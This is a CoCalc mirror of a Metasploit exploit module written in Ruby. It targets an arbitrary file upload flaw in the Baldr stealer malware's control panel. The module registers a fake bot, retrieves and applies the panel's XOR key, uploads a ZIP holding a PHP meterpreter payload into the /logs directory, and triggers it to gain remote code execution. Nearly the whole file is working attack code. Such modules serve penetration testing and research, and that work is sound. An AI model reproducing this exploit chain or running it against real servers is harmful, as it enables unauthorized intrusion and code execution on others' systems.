Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/baldr_upload_exec.rb
31945 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::FileDropper
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Baldr Botnet Panel Shell Upload Exploit',
17
'Description' => %q{
18
This module exploits an arbitrary file upload vulnerability within the Baldr
19
stealer malware control panel when uploading victim log files (which are uploaded
20
as ZIP files). Attackers can turn this vulnerability into an RCE by first
21
registering a new bot to the panel and then uploading a ZIP file containing
22
malicious PHP, which will then uploaded to a publicly accessible
23
directory underneath the /logs web directory.
24
25
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
26
are encoded by XORing them with a random 4 byte key. This exploit module gets around
27
this restriction by retrieving the IP specific XOR key from panel gate before
28
uploading the malicious ZIP file.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ege Balcı <[email protected]>' # author & msf module
33
],
34
'References' => [
35
['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],
36
['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],
37
['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],
38
],
39
'DefaultOptions' => {
40
'SSL' => false,
41
'WfsDelay' => 5
42
},
43
'Targets' => [
44
[
45
'Auto',
46
{
47
'Platform' => 'PHP',
48
'Arch' => ARCH_PHP,
49
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
50
}
51
],
52
[
53
'<= v2.0',
54
{
55
'Platform' => 'PHP',
56
'Arch' => ARCH_PHP,
57
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
58
}
59
],
60
[
61
'v2.2',
62
{
63
'Platform' => 'PHP',
64
'Arch' => ARCH_PHP,
65
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
66
}
67
],
68
[
69
'v3.0 & v3.1',
70
{
71
'Platform' => 'PHP',
72
'Arch' => ARCH_PHP,
73
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
74
}
75
]
76
],
77
'Privileged' => false,
78
'DisclosureDate' => '2018-12-19',
79
'DefaultTarget' => 0,
80
'Notes' => {
81
'Stability' => [ CRASH_SAFE ],
82
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],
83
'Reliability' => [ REPEATABLE_SESSION ]
84
}
85
)
86
)
87
88
register_options(
89
[
90
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
91
]
92
)
93
end
94
95
def check
96
if select_target
97
Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")
98
else
99
Exploit::CheckCode::Safe
100
end
101
end
102
103
def select_target
104
res = send_request_cgi(
105
'method' => 'GET',
106
'uri' => normalize_uri(target_uri.path, 'gate.php')
107
)
108
if res && res.code == 200
109
if res.body.include?('~;~')
110
targets[3]
111
elsif res.body.include?(';')
112
targets[2]
113
elsif res.body.size < 4
114
targets[1]
115
end
116
end
117
end
118
119
def exploit
120
# Forge the payload
121
name = ".#{Rex::Text.rand_text_alpha(4)}"
122
files =
123
[
124
{ data: payload.encoded, fname: "#{name}.php" }
125
]
126
zip = Msf::Util::EXE.to_zip(files)
127
hwid = Rex::Text.rand_text_alpha(8).upcase
128
129
gate_uri = normalize_uri(target_uri.path, 'gate.php')
130
version = select_target
131
# If not 'Auto' then use the selected version
132
if target != targets[0]
133
version = target
134
end
135
136
gate_res = send_request_cgi({
137
'method' => 'GET',
138
'uri' => gate_uri
139
})
140
os = Rex::Text.rand_text_alpha(8..12)
141
142
case version
143
when targets[3]
144
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
145
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
146
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
147
end
148
key = gate_res.body.to_s.split('~;~')[0]
149
print_good("Key: #{key}")
150
151
data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
152
data = Rex::Text.xor(key, data)
153
154
res = send_request_cgi({
155
'method' => 'GET',
156
'uri' => gate_uri,
157
'data' => data.to_s
158
})
159
160
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200
161
print_good('Bot successfully registered.')
162
163
data = Rex::Text.xor(key, zip.to_s)
164
form = Rex::MIME::Message.new
165
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")
166
167
res = send_request_cgi({
168
'method' => 'POST',
169
'uri' => gate_uri,
170
'ctype' => "multipart/form-data; boundary=#{form.bound}",
171
'data' => form.to_s
172
})
173
174
if res && res.code == 200
175
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
176
register_file_for_cleanup("#{name}.php")
177
else
178
print_error("Server responded with code #{res.code}")
179
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
180
end
181
when targets[2]
182
fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res
183
unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')
184
fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')
185
end
186
187
key = gate_res.body.to_s.split(';')[0]
188
print_good("Key: #{key}")
189
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
190
data << zip.to_s
191
result = Rex::Text.xor(key, data)
192
193
res = send_request_cgi({
194
'method' => 'POST',
195
'uri' => gate_uri,
196
'data' => result.to_s
197
})
198
199
unless res && res.code == 200
200
print_error("Server responded with code #{res.code}")
201
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
202
end
203
204
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
205
else
206
res = send_request_cgi({
207
'method' => 'POST',
208
'uri' => gate_uri,
209
'data' => zip.to_s,
210
'encode_params' => true,
211
'vars_get' => {
212
'hwid' => hwid,
213
'os' => os,
214
'cookie' => '0',
215
'pswd' => '0',
216
'credit' => '0',
217
'wallet' => '0',
218
'file' => '1',
219
'autofill' => '0',
220
'version' => 'v2.0'
221
}
222
})
223
224
if res && res.code == 200
225
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
226
else
227
print_error("Server responded with code #{res.code}")
228
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
229
end
230
end
231
232
vprint_status('Triggering payload')
233
send_request_cgi({
234
'method' => 'GET',
235
'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")
236
}, 3)
237
end
238
end
239
240